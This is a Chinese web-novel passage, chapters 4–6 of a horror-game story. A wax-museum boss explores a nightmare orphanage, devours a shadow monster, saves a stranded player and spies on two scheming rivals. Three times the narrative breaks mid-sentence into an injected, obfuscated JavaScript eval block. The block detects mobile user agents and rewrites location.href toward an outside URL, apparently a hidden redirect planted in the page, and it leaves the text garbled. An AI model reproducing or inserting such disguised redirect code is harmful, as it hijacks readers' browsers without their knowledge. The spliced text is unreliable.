虞绛见该问的都问得差不多了,想要的东西也到手了,便温柔地告别女佣: “谢谢你,了解这些情况对我查明真相很有帮助。对了,我都忘了问你的名字,你怎么称呼?” 女佣羞涩地低下头:“我……我叫小青。” 真是可爱的妹妹,还提供了这么多有用的信息! 想到这里,虞绛心头一热,学着论坛上的帅哥表情包,朝小青wink了一把。 然而,虞绛高估了蜡制五官的灵活度。她没控制好力道,导致眼皮痉挛了似的,不受控制地上下抽搐,根本停不下来。 “啊!什……什么鬼东西!”小青被这诡异的wink吓得惊叫,飞奔下楼。 虞绛气急败坏,不敢相信自己引以为傲的蜡像工艺在关键时刻翻了车。 她一边揉搓着痉挛的眼睛,一边打开了房门。 房间宽敞舒适,配备了书桌、沙发,甚至还有一个酒水吧台,比五星级酒店更奢华。 她在沙发上坐下,打量着掌心的怀表,若有所思: “唔……管家提过,这是桑柒最喜欢的怀表,才特意把裴翎叫来修理。可这个生了锈的铜表,不像山庄里那些镶满宝石的昂贵装饰,也不像是有钱人家会给小孩留下的遗物,有什么修理的必要呢?” 她一遍嘀咕,一边将怀表翻来覆去把玩了起来。但除了停摆的指针外,实在没什么发现什么玄机。 然而,当她随手拨弄怀表的指针时,突然想起小青提过的梦魇时刻,不知不觉便将表上的三根指针拨到12:00:00的位置。 当指针归位的下一秒,这只坏掉的怀表仿佛突然“活”了过来,原本死寂的秒针“嗒”地向前跳了一格。 同一时刻,窗外明媚的日光骤然褪去,像是被一股无形的力量吞噬。虞绛眼前的世界,陷入一片黑暗。 午夜,降临了。 原本坏掉的怀表在虞绛的手心里正常运转,秒针滴答作响,在寂静的夜里格外清晰,像是催命的倒数。 除了指针跳动的声音,她还敏锐地捕捉到了几道几不可闻的呼吸声。 房间里有人!而且不止一个! 4. 看不见的孤儿院(三) 她心头微震,却不是害怕,而是抑制不住的兴奋。 终于,副本的惊吓点来了! 能调整副本时间的怀表、潜藏在午夜里的危险…… 这些元素要是放进蜡妹棋牌室,一定能产生不少心跳值! 虞绛向前迈进了一步,立刻察觉到房间的格局也发生了变化。 按理说,她应该站在沙发旁,稍一抬腿就能触碰到柔软的真皮扶手。但这一次,她的脚却踢到了某个坚硬的物体。 虞绛俯身伸手探索,指尖触及的是一张结实的木板床,甚至还覆盖着一层残留着温度的被褥。她顺着被子往下探,忽然摸到了一只冰凉的小脚。 那只脚小巧得几乎能被她一掌握住,而在她触碰的瞬间,小脚陡然一缩。紧接着,从裹成蚕蛹的被窝里传出一道惊恐的轻呼。 被子下的人在瑟瑟发抖,房间里的呼吸声也陡然凝滞。 她立即点亮手机屏幕,微弱的光线驱散了眼前的黑暗,映照出的是一片陌生的场景。 房间的大小和白天一致,可奢华的双人床、真皮沙发都不见了,取而代之的是六张陈旧的木制小床。每张床上都躺着人,孩童大小的身形,蜷缩着瑟瑟发抖。 她的出现,显然让这些孩子们受到了不小的惊吓。 面对难以理解的场面,虞绛决定直接逮个人问清楚。 于是,她一手高举发光的手机,一把掀开了眼前这张床的被子,欺身上前。 “啊啊啊啊!鬼啊!!” 被窝里钻出一个圆脸小女孩,看上去不过六七岁,一露头便被吓得连滚带爬跌下了床。 虞绛后知后觉地意识到,她手机的光线正从下巴往上照,映出一张惨白的面孔,在夜里乍然一看是有些吓人。 可怜的小女孩,先是在黑暗中被突然摸了一把脚心,紧接着又被强行扯开被子,被鬼一样的虞绛贴脸惊吓,难怪吓得满头大汗、哇哇乱叫。 然而,小女孩的惊叫无异于一声惊雷,将房间内的恐慌气氛彻底引爆。 其他五张床的小孩也惊慌失措地下了床,见到虞绛就像见了鬼似的,朝不同的方向逃窜。有的钻进床底,有的冲向墙角的衣柜,哭嚎声此起彼伏,整个房间陷入混乱。 “完蛋完蛋!大怪物不是刚才进了对面吗,怎么又挑中我们了!” “大怪物这次都没有开门,直接出现在房间里了,我们逃不掉了!” 直到虞绛终于摸到了房间开关,随着“啪”地一声脆响,昏黄的灯光倏然亮起。 “别跑了!”她压低声音,“我不是怪物,也不吃人。来个人告诉我,这是在哪里?” 房间简陋破败,灯光也不甚明亮,但足以让人分辨出站在房间中央的,并不是孩子们惧怕的怪物。 第一个被虞绛吓得滚下床的圆脸女孩僵在门口,停住了开门的动作,犹疑地问:“你……真的不是大怪物吗?” 虞绛顺手收起怀表,在原地转了一圈,以证明自己从上到下都是正常人类。 沉默片刻,衣柜门悄悄推开,一个高个子女孩小心翼翼探出头,试探道:“那你是新来的义工吗?” 她似乎是这群孩子的“领头人”。见她出来,其他小孩也纷纷探头探脑地走出藏身之处,小心翼翼地围着虞绛打量。 虞绛微微眯眼,没有直接回答:“……大怪物是什么?” 高个子女孩抿了抿唇,低声开口:“每晚熄灯后,院长和老师们都不在时,大怪物就会出来吃人。连偶尔来照顾我们的义工,也会被它抓走吃掉。” 一屋子的小孩儿,院长,义工…… 眼下的情形,让虞绛联想到了这个副本的标题——《看不见的孤儿院》。 白天虞绛还纳闷呢,豪华的度假山庄跟副本标题完全不搭边,但眼前的陌生场景却完美符合副本标题提到的“孤儿院”。 显然,午夜的新地图才是副本真正要展现的故事。 只不过,白天和黑夜的两个世界,大气奢华的度假山庄和残破诡谲的孤儿院,究竟有什么关联? 更让她在意的是,刚才这些孩子躲藏的样子,和女佣小青对桑柒梦魇时的描述,惊人地相似。 都是在午夜的某一刻,突然慌乱地把自己藏起来,仿佛在躲避什么存在。 难道,桑柒梦魇中逃避的,也是这个“大怪物”? 她也和这个午夜孤儿院有关? 虞绛语气笃定地道:“没错,我是来照顾你们的义工。” 孩子们的眼睛瞬间亮了,压抑的惊恐被短暂的欣喜取代,几个孩子兴奋地蹦跳起来。 “义工姐姐,那你能保护我们吗!”第一个圆脸小女孩猛地抱住她的大腿,仰起一张红扑扑的脸,满怀期待地望着她。 等等,姐姐? 她不是易容成陆骁了吗?! 虞绛赶紧从衣袋里翻出之前在地下室顺来的化妆镜,镜子里映出的是她自己的脸。 她的蜡像手艺竟然又失灵了? “吱呀——!咚——咚——” 没等虞绛再次易容,门外突然传来一阵沉闷的开门声。紧接着,厚重的脚步声缓慢而坚定地逼近。 “红袜子,白帽子,今晚的幸运儿是什么样子?” 嘶哑的童谣幽幽飘进房间,声音像是从喉咙深处挤出来,带着诡异的笑意。 “糟了!”高个子女孩脸色一白,捂住嘴巴,压低声音惊呼,“我们的动静太大,把大怪物引过来了!” 虞绛死死盯住房门:“它会直接闯进来吃人?” “……不会。”女孩的声音轻颤,“它每晚只会挑选一个房间,如果房间是空的,它就会离开。可如果它看到有小孩在房间里,就必须和它玩捉迷藏……如果在游戏里被它找到,就会被……挖掉心脏。” 怪不得…… 虞绛终于明白了,为什么她刚一出现,所有孩子的第一反应都是躲起来。只要藏得够好,让大怪物以为房间是空的,就能逃过一劫。 女孩小声补充道:“我们发现,熄灯后发出的声音越大,越容易引起它的注意。本来它今晚盯上的是对面的房间,可是刚才我们太吵了……” 话刚落音—— “咔哒。” 门锁被扭动,一道巨大的黑影出现在门口。 “铛铛铛——” 大怪物沉闷的声音像是铜铃撞击,它的身形足有两米高,门框内一片扭曲的黑影,看不清五官,也无法辨认形体。 “今晚的幸运儿是——2号房的好孩子。”它的声音扭曲破碎,带着诡异的笑意,“来玩……来玩捉迷藏吧……” 话音落下,它缓缓挤进门框。下一秒,突然一拐,自己钻进了房间的厕所,将门“砰”地关上。 然后,幽幽地开始倒计时—— “10,9,8……” “跑!!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547525|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孩子们的身体比大脑反应更快,几乎在大怪物读秒的瞬间,疯狂涌向房门,各自逃窜。 虞绛身后的小孩子立刻蹿出了门口,向不同方向逃窜了起来。 高个子女孩死死拽住虞绛的手臂,惊恐地催促:“快跑!它只给我们十秒钟,如果被它追上,就会被挖掉心脏!” 虞绛眸色一沉,反手一把捞起女孩,猛地冲向楼梯口:“这游戏什么时候能结束?” “1个小时!只要撑过1小时没被抓到,我们就安全了!” 虞绛心念急转,凭直觉选择了更熟悉的一楼,迅速狂奔下楼梯。 在手机微弱的光线下,这栋楼的一楼已与白天截然不同。 原本华丽的餐厅如今摆满了破旧的木椅,凌乱地朝着正前方摆放。前方的简易舞台上,悬挂着一座巨大的红色十字架。周围黑暗无光,只有浓重的血腥气息在沉闷的空气中蔓延。 “2,1——” 倒计时结束的瞬间,空荡荡的楼梯间,骤然传来一声阴恻恻的笑声。 “嘿嘿嘿,我来找你们啦……” 虞绛环顾四周,眼下能躲藏的只有两个方向——通往地下室的楼梯,或是一楼的厨房。 她没有犹豫,拉着小女孩朝地下室冲去,想要躲进那间摆满镜子的储藏室。 然而,当她到达走廊尽头时,却发现地下室四个房间的门全都紧锁,根本无处可藏。 虞绛屏住呼吸,侧耳倾听。 片刻后,她确定大怪物没有朝楼下走,这才稍微松了口气。 小女孩捂着嘴巴,等情绪稍稍平复,才压低声音说道:“地下室的房间都是锁着的,只有院长才有钥匙。” 虞绛一怔,随即无奈地打开手机的手电筒照明:“你怎么不早说?” 小女孩吐了吐舌头,一脸无辜:“你扛着我跑得太快了,我根本插不上话。” 她看起来大概八九岁,个子偏高,在一群更为稚嫩的小孩里,自然而然地带着几分领头气质。白皙的皮肤,狭长的单眼皮,五官轮廓隐隐透着一丝英气…… 尽管稚气未脱,但虞绛几乎能想象出她长大后的模样——竟然与桑柒有七分相似! 她心中一动,试探地问道:“你叫什么名字?” “我叫桑柒。”小女孩脆生生地回答。 果然,她是幼年版的桑柒。 一切线索终于串联起来,山庄主人桑柒反复陷入的梦魇,正是这座孤儿院。在桑柒的午夜噩梦里,幼年的她不断被吃人的大怪物追杀,化作了难以消除的梦魇。 那么,解决方法也显而易见了! 只要她能在副本里消灭这个大怪物,解除小桑柒的生命威胁,大桑柒的魇症也许就能痊愈,副本也能顺利通关。 想到这里,虞绛心情大好。D级主线副本的故事线也不过如此嘛! 接下来她只需要确保小桑柒的安全,在这三天内抱着学习和调研的心态,好好探索副本的机制与布景,最后击败这个怪物就行了。 然而—— “轰!” 地下室的天花板猛地震动,尘土簌簌落下,像是有重物从上方狠狠砸落。 紧接着,是一阵桌椅翻倒的剧烈响动,混杂着沉闷的打斗声。 以及,夹杂在混乱中的,是一个暴躁至极的怒吼—— “仇辛你疯了?!非要拉着我作死!!” 是顾弥彦的声音! 5. 看不见的孤儿院(四) 虞绛放慢脚步,悄然逼近楼梯口,抬头望向上方一楼,隐约见到另外两个玩家正在狼狈地躲避着大怪物的追击。 “别急嘛,我只是想试试……”仇辛在大怪物的重拳落下前侧身一闪,干净利落地拉开距离,“看这玩意儿会不会攻击其他房间的人。第一天,当然得摸清Boss的路数。” “这个Boss力大无穷,而且没有实体,速度快得诡异!这样下去,我们迟早逃不过!” 顾弥彦喘着气,额角冷汗直冒。眼见黑影的触手卷着腥风朝他扑来,他只能仓促后撤,几乎是擦着锋利的边缘堪堪避开。 “一楼厨房能上锁,把它关进去!”仇辛意味不明道,眼底一抹暗光闪过。 虞绛见状低声叮嘱小桑柒:“你躲在楼梯底下等我。” 说完,她猫着身子,迅速摸上了楼梯。 大厅狼藉一片,教堂舞台的木板碎裂崩飞,长桌、椅子七零八落,空气中弥漫着淡淡的血腥气。 仇辛和顾弥彦在狭窄的空间里疲于奔命,而那团黑影不像是单纯的怪物,更像某种被诅咒的恶意化身,阴影涌动间,每一次出手都带着足以粉碎骨骼的暴虐。 虞绛目光微沉,按捺着出手的冲动,静静观察着局势。 就在黑影的触须即将缠上顾弥彦的脚腕时,他猛地变向,朝厨房方向狂冲! 黑影的身形骤然急刹,堪堪刹住车后,旋即爆发出更为迅猛的速度,裹挟着呼啸阴风向厨房方向直追而去! 然而,就在顾弥彦即将踏进厨房门槛时,他故技重施,又是一个凌厉的折返,硬生生扭转方向! 黑影猛扑之势难以刹住,惯性之下直直冲进厨房—— “砰!” 大门猛然合上,仇辛单手转动钥匙,门锁死死扣住。 “这怪物怕火,把它烧死,副本就能结束了。”顾弥彦站稳脚步,深吸了一口气。 仇辛低头闷笑起来:“游戏才开始没多久,怪物的弱点都被你知道了……你不会是特殊天赋者吧?” 顾弥彦盯着面前锁上的厨房大门,从门上镂空的花纹里,能隐约看见黑影不断撞击门板,整个大厅都在震颤。 “我的天赋是,在副本中每天都会获得一条线索,第一条线索就是——副本Boss的死穴是火焰。” 他死死盯住仇辛,语气强硬:“说好的合作,该你想办法放火了吧。” 仇辛漫不经心地注视着前方:“这才第一天,别急着那么快干掉boss。” 这个刀疤男吊儿郎当的模样下,总带着一种让人不适的阴冷,仿佛一条吐着信子的毒蛇,让人遍体生寒。 “你什么意思!”顾弥彦心下一紧,声音骤然拔高,“我好不容易把boss锁进厨房,你居然不干了?万一它撞破门,我们全都得死!” “嘘——别说什么死不死的。”仇辛缓缓转头,脸上浮现阴狠的笑意,“1号房的小鬼告诉我,这怪物每晚只杀一个人。” 他突然靠近顾弥彦,嗓音森冷:“谢谢你帮忙把它引进厨房。在里面,我已经为boss准备好了今天的‘晚餐’。至于你提供的通关方法,我们还有两个晚上的时间慢慢试。” 顾弥彦瞳孔一缩,寒意瞬间窜上脊椎:“什么意思?厨房里有人,而且你早就知道?” 他后知后觉地发现,不知何时起,大怪物已经不再撞门了。沉重的撞击声消失,取而代之的是低沉的脚步声,由近及远,缓慢而笃定地向厨房深处走去。 顾弥彦的后背渗出冷汗:“厨房里有谁在?你这个混蛋,难道绑了孤儿院的小孩子进去送死?” 厨房里,巨大的黑影微微晃动。它微微侧着头,仔细辨别某个细小的声响—— 是从角落的冰箱里传来的。 它不再关注门外,而是猛地扭过头,目光死死锁定那台大得足以塞下一个成年人的冰箱。 “好冷啊啊啊!我这是被系统丢进……冰箱里了?” 冰箱内,传来微弱的敲打声,伴随着瑟缩的哆嗦声。 下一秒,“砰”地一声,冰箱门被从内部推开,一个穿着单薄短袖的女孩狼狈地跌了出来。 本轮游戏的第四位玩家——刘茵茵,已送达。 “这是哪里啊?”她揉着眼睛,还未适应黑暗,第六感却本能地拉响了警报。 一个两米高的巨大黑色阴影,正站在她面前,距离不足1米。 尽管黑影模糊扭曲,但她能感受到一双无形的眼睛,饥渴、森冷,如同猎食的野兽盯上了自己的猎物。 她脑海中猛然回荡起系统的友情提示:“不建议您尝试迟到,毕竟您也不想一开局就被扔进boss的老巢吧?” 刘茵茵的血液仿佛在一瞬间冻结。 靠!她是什么欧皇体质?这狗比系统还真开局送她见副本boss了?! 怪物低低地笑了,声音像是沙砾在喉咙里摩擦。紧接着,它唱起了失真的儿童童谣,怪腔怪调的听着渗人。 “衣柜没有,床底没有,原来你在——” 它拖长了声音,沙哑地吟诵: “冰箱——里——呀——” “找——到——你——了!” 猛地,黑影高高抬起手,掌风撕裂空气,裹挟着沉重的压迫感狠狠拍下! 刘茵茵瘫坐在地,双腿发软,眼泪不争气地狂飙。 “救命啊!!” 然而,在她看不见的角落,厨房原本光滑的地砖上不知何时已被一层乳白色的蜡油覆盖。 那些蜡油仿佛有生命般,从厨房门缝中缓缓渗入,蠕动着渐渐逼近了黑色阴影所在的位置。 就在那只狰狞的大怪物即将落掌,将刘茵茵拍成肉泥的一瞬,蜡油陡然翻涌,如同海啸般轰然涌起! 一层层蜡液疯狂堆叠,瞬息之间便凝聚成一只比大怪物更庞大数倍的白色巨兽。它以不可阻挡之势猛然扑下,将庞大的黑影彻底淹没,就像一口无声的白色炼狱,将所有不属于这个世界的阴冷之物尽数吞噬! 被蜡油覆盖的黑影发出刺耳的尖啸,剧烈挣扎,然而越挣扎,那些蜡液便越收紧,像是层层封印,将它牢牢锁住。 几息之后,那团黑影的怒吼戛然而止,彻底凝固成了一座扭曲怪诞的蜡像,那阴冷诡谲的气息也被厚重的蜡层隔绝。 刘茵茵已经看呆了,这个可怖的巨大黑影竟然轻易地被碾碎、吞没,甚至连一丝反抗的余地都没有。 等等,这样的蜡像,她昨晚似乎才见过? 她还未深思,地面上残留的蜡油便咕噜咕噜地翻滚起来,乳白色的液体自行凝固,慢慢塑造出一具修长的身形。 长发垂落在肩,勾勒出一张五官精致的脸,她睫毛微颤、幽幽睁眼—— 虞绛从蜡液中浮现,如同破茧重生的神祇。 她懒洋洋地打了个哈欠,不紧不慢地将蜡像化的大怪物捏碎成块,一块一块地塞进口中咀嚼。 雪白的喉咙滚动间,那些恐怖阴影化作齿间微不足道的残渣,最终被彻底吞咽下去。 最后,虞绛皱眉打了个长长的嗝:“嗯……味道一般。” 刘茵茵彻底僵住。 眼前这人……不就是昨晚秒杀喰鼠的蜡像馆老板吗?! 等等,游戏里的副本boss还轮岗制的?怎么一觉醒来,她就换副本了?! “你是恐怖蜡像馆的老板?太谢谢你了,你救了我第二次!”刘茵茵激动得跳了起来,满脸感激。 虞绛微微眯眼,借着窗外冷白色的月光,打量着眼前这个女孩: “你是……昨天突然闯进我副本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547526|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的玩家?” 刘茵茵见眼前这位Boss大佬看着与常人无异,而且情绪稳定、语气温和,她深深吸了口气,将昨晚闯入蜡像馆的经历和盘托出: “……从蜡像馆跑出来后,我和我朋友本想从西城门退出游戏。结果这破游戏坑得要命,不仅内测阶段根本无法退出,连身份识别和主线任务都得靠手机操作!偏偏我朋友倒霉透顶,把手机给弄丢了,留我一个人被系统强行丢进了这个副本……” 说到这里,刘茵茵话音一顿,目光突然定格在虞绛裤兜里露出一角的三折叠手机。 她脸色一变,语气难以置信:“等会!这不就是我朋友的手机?!” 虞绛心下一紧,心虚地捂住口袋,眼珠子乱转,强行狡辩: “我是在蜡像馆捡到的……呃不对!是蜡妹棋牌室!我的副本已经改名叫蜡妹棋牌室了!” 刘茵茵强行忽略这个云里雾里的新名字,她更担心起好友的处境:“可是陆骁的手机在你手上,他不会被系统惩罚吧?” “这个可以放心!”虞绛随意地摆摆手,云淡风轻地补充道,“这副本,我虞绛替他打了!专业代练,坐等躺赢!” 随即,她大致将自己进入副本后的经历大致说了一遍。 听完虞绛骗过系统人脸识别的骚操作,刘茵茵从对好友的担忧,瞬间转化为赤裸裸的羡慕: “天呐,被大佬带飞躺赢的人为什么不是我!” 然而,她回过神来,忽然意识到一个关键问题: “等等,虞老板,你刚才把副本boss都生吞了,我们是不是直接通关了?” 虞绛微微侧头,感受了一□□内传来的气息,摇了摇头:“没那么简单,我吞掉的只是它的影子,它的本体还活着。” 不过,今夜不会再有怪物出来抓人了。 只是,她心头仍有疑问挥之不去。刚才她窥听到顾弥彦和仇辛的对话,顾弥彦的特殊天赋不难理解,可仇辛是如何知道刘茵茵在厨房的冰箱里,甚至提前布局送她去死? 是为了系统开局提到的,玩家牺牲时将会附赠线索? 还是另有所图? *** 与此同时,厨房外。 听到屋内传来一阵微弱但短促的响动后,随即归于平静,顾弥彦和仇辛对视一眼,皆认为大怪物已经在厨房内享用了“晚餐”,今晚不会再有其他牺牲者了。 “刚才过去了二十分钟,距离捉迷藏的一个小时还剩四十分钟。这段时间,我们应该可以安全探索。”仇辛语气轻松。 “等等,你还没告诉我……你安排的‘替罪羊’是谁?”顾弥彦犹豫了片刻,最终还是问出口。 仇辛笑了笑,脸上的疤痕在阴影里扭曲得尤为狰狞: “不妨告诉你,我的特殊天赋可以感知玩家的位置。我在十分钟前感知到了第四个玩家的位置,就在厨房的冰箱里。” 顾弥彦脸色一变:“我们都是玩家,你怎么下得去手?!” 仇辛收敛了笑容,仿佛在看一个死物: “少废话,死一个人,我们就能多一条线索。再说了,连副本都无法准时进入的家伙,有什么活着的必要?只会拖我们后腿罢了!” “你要是有异议的话,我们的合作可以就此作废。还是说,你想排在那个姓陆的之前,成为下一个死人?” 顾弥彦脸色阴晴不定,胸口剧烈起伏了几下,终究没再说什么。 两人向二楼走去,继续探索孤儿院其他区域。 然而,在他们看不见的地方,两只巴掌大小的蜡像小人无声无息地黏附在了他们的鞋后跟上,粗糙的五官模糊不清,唯有眼睛被塑造得栩栩如生。 此刻,它们正滴溜溜地四处张望,将所见的一切,一点不落地传递回主人。 6. 看不见的孤儿院(五) 过了一会,虞绛再次化为流动的蜡油,从厨房门缝中挤出,从门外拧开了门锁。刘茵茵小心翼翼地探出头,紧张地攥住虞绛的衣角,贴身跟随,直到两人抵达楼梯口。 “小桑柒,没事了,上来吧!”虞绛微微侧身,朝着蜿蜒向下的楼梯轻声呼唤。 然而,黑暗的楼梯深处,只回以死寂般的沉默。 一股异样的不安攀上虞绛的心头,她眸色微沉,毫不迟疑地奔向负一楼。 昏暗中,小女孩正蜷缩在地,瘦弱的身躯剧烈颤抖,额上渗出一层冷汗,呼吸急促如困兽般短促紊乱。她死死按住心口,指节泛白,显然正忍受着剧烈的疼痛。 “怎么回事?”虞绛蹲下身,伸手将她揽入怀中。 “我学过急救,她像是心脏病发作了,得赶紧吃药。”刘茵茵小声提醒道。 “白天那个成年版桑柒确实有先天性心脏病……”虞绛若有所思地点点头,随即低头问道,“你的药呢?” 然而小桑柒的意识已经涣散,连微弱的呻吟都难以发出,哪里还能回答她的问题? “只能带她回卧室找一找了。”虞绛当机立断。反正吃心脏的大怪物被她重创,两个心怀鬼胎的玩家亦在她的监控之中,这个夜晚暂时没有其他威胁了。 刘茵茵紧紧跟随虞绛的步伐,然而却在拐上楼梯的瞬间,莫名感受到一股阴冷的窥伺感,如同无形的丝线缠绕在后颈,让她忍不住脊背发寒。 她心有所感地回过头,只见破败的舞台上方,血红色的十字架下,有一道黑影疾速掠过。唯一留在她视网膜上的残影,是一对猩红的瞳孔,和十字架的颜色如出一辙。 “虞、虞老板……这里,好像还有其他东西……”刘茵茵声音发颤。 然而,怀抱着病重女孩的虞绛已然走远,刘茵茵咬牙不敢停留,连滚带爬地追了上去。 离楼梯口最近的就是刚才的房间,虞绛随意挑中了圆脸女孩的1号小床,将小桑柒轻轻放了上去,让她保持平卧。 “你懂急救,你看着她!”虞绛吩咐一句,随即开始翻箱倒柜寻找药物。 这个房间除了六张小床,唯一能存放物品的便是墙角的大衣柜。她拉开柜门,一股酸涩腐朽的气息扑鼻而来,虞绛甚至眼尖地捕捉到一只快步溜走的棕褐色蟑螂。 这家孤儿院的环境还真是恶劣…… 衣柜里散乱地堆着六个孩子的衣服,是一堆尺寸不同的蓝白条纹衬衫,乍一看跟医院的病号服很像。 除此之外,还藏了一些小玩意,像是彩色的蜡笔、童话绘本还有花花绿绿的零散彩纸,唯独不见任何药品。 虞绛眉头微蹙:“奇怪了,衣柜里没有药。” 小桑柒是先天性心脏病患者,孤儿院难道不会给她准备常备药,让她随身携带,或至少放在房间里? 虞绛将视线转向六张小床,将所有床上的枕头和被子都一一掀开,然而依旧一无所获。 “她身上也没有药。”刘茵茵也仔细搜了一遍身,单薄的条纹衬衫上没有藏东西的地方。 “不行,这孩子开始抽搐了,我先做心肺复苏!”刘茵茵急道,立刻双手叠放,按上小桑柒的心前区,有节奏地按压起来。 虞绛不信邪,直接俯身趴下,打算搜查床底。 刘茵茵做了十几次胸外按压,直到小桑柒的呼吸渐渐平稳,心跳趋于稳定,只是仍紧闭双眼,像是沉沉睡去了。 “呼……她缓过来了。”刘茵茵松了口气,抹了把额上的薄汗,“休息一会应该没事。” 然而,虞绛却毫无反应。 她低头一看,只见虞绛依旧静静地待在床底,一动不动。 光秃秃的木板底部,原本不可能藏匿任何东西,虞绛对此毫不意外。但在手机冷白色的光晕下,一道道歪歪扭扭的字迹突兀撞进虞绛的视野—— “好tong,全身都好tong!” 旁边画了个哭脸。 “明天我7岁啦!” 这次是个笑脸。 “希wang身体好起来……” 最后添了双小小的袜子。 虞绛记得,这张床的主人,是第一个被她吓得滚下床的圆脸女孩。 她脑海中浮现出一个画面——一个红苹果般的小女孩,蜷缩在自己的床底下,捉迷藏的游戏太过漫长,她有些无聊地掏出一支红色蜡笔,随手在面前的床板上写写画画。 自进入孤儿院的世界起,便时刻盘旋在虞绛脑海中的疑问,再次浮上心头—— 午夜的孤儿院,究竟是桑柒的一场噩梦,还是某段真实的回忆? 如果只是噩梦,所有细节未免太过真实……甚至连无足轻重的npc床底下都添上了栩栩如生的涂鸦,桑柒的潜意识有必要完善这么小的细节吗? 如果这是记忆的残影—— 那么,这位富家千金的童年,或许曾在这间孤儿院度过,而后……或许被豪门夫妇收养?可即便如此,物质的优渥也无法抹去在孤儿院的童年阴影。 从夜晚潜行的怪物,到简陋破败的房间,再到一楼大厅那诡异的红色十字架……这个孤儿院显然不是什么富有爱心的场所,甚至还藏匿着更加黑暗的秘密。 虞绛缓缓勾起唇角,目光染上几分兴味。 光鲜亮丽的表世界,阴暗复杂的里世界,多层交错的故事脉络——足以勾起玩家深入探索的兴趣! 实地调研果然有效,她觉得自己的专业素养又提升了! 虞绛麻利地从床下滚出,见小桑柒已经平稳睡去,便掏出了怀表。 指针指向00:45,距离捉迷藏游戏结束仅剩15分钟。她索性一屁股坐在地上,懒得再折腾,反正有的是人替她跑腿查探。 见虞绛一声不吭地盯着空气发呆,刘茵茵忍不住在她眼前招了招手:“虞老板,干嘛呢?咱们接下来怎么办?” “嘘!”虞绛伸出食指放在嘴边,“累了,看会戏。” 此刻,她的两只小蜡人已悄然跟随仇辛和顾弥彦踏上三楼,但为了不被察觉,只能紧贴两人的脚后跟缓步前行。因此,虞绛的视野中,只能看到一条黑漆漆的走廊。 两人越往深处探索,楼梯口便离得越远,直至—— 有人下定决心,握住门把手,将房门轻轻推开了一条缝。 虞绛当即操控其中一只小蜡人,趁机溜了进去,随即视野一变,全新的房间映入眼帘。 这是一间双人宿舍,格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547527|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局与二楼的房间相似。但比起六人儿童寝室,这里明显宽松不少,还配备了书桌、衣柜、沙发等家具,处处透着长期居住的痕迹。 小蜡人悄然爬上床头柜,巴掌大的身影隐没于黑暗之中,未被两个玩家察觉。从更高的角度望去,虞绛的视野也更加开阔。 房间里,两名女子正在床上熟睡。 顾弥彦轻手轻脚地拉开衣柜,映入眼帘的是两套整洁如新的统一制服。看来,这便是小桑柒口中孤儿院的“老师”。 然而,虞绛的目光仅停留片刻,便被另一处异样吸引。那两名女子的腹部,竟然高高隆起,显然已怀胎八九个月,就快要临盆了! 仇辛和顾弥彦也觉得奇怪,但房间内再无更多线索,他们交换了一个眼神,悄声退了出去。 “这家孤儿院果然不简单。”顾弥彦低声道,“楼下闹出那么大动静,三楼的人却睡得纹丝不动。而且,一间房里两个女人全都怀孕……这能是巧合?” 仇辛没有回应,而是走向对面的房间,轻轻推开门缝一窥。 “这里也住着两个女人,也都怀孕了,肚子比刚才那间稍微小一些。” 那就更不可能是巧合了。 像是印证心头的猜想,两人加快速度,迅速摸排了三楼的四间房。最终确认,整层楼8名老师中,竟有7人显怀! 来到三楼尽头的最后一间房,仇辛再次悄声推门,这一次却不再是老师的卧室了。而是一间宽敞的套房。 映入眼帘的,是一间空无一人的办公室。顾弥彦率先摸黑进去,确认房间里没人后,按下了灯的开关。 白炽灯骤然亮起,房间中央,一张宽大的办公桌横列其中,旁边摆着小型沙发,墙角则立着一株约一米高的发财树。墙边一溜书架,装潢精致大气,与二楼的寝室相比,简直天壤之别。 而书架旁还有一扇小门,小蜡人悄悄跟随顾弥彦,溜进小门之中,新的画面再次铺展,这是一个奢华的卧室。 天鹅绒床品绣着繁复花纹,桌椅上随意摆放着名贵腕表,衣柜里则是琳琅满目的成套西装。 “院长的房间。”顾弥彦下了判断。 “没错。”仇辛的声音从外间办公室传来。 另一只小蜡人躲在桌角,视线对准了仇辛的所在。 办公桌上,除了电脑和水杯,还立着一本日历。日历撕到了5月,18号的日期上被着重画了2个圈。 此刻,仇辛正翻阅一本笔记:“我在看这家孤儿院院长的工作日志,但有点奇怪……每一页只有日期和几个名字。” 小蜡人踮起脚,试图窥探内容,但只能听见仇辛翻页时的窸窣声。忽然,他的手顿住了,眉头紧锁。 他看到了什么? 虞绛隔着空气投影干着急,此时顾弥彦的声音从后方传来:“卧室里有个保险柜,但是锁住了,里面肯定藏着重要的线索。” 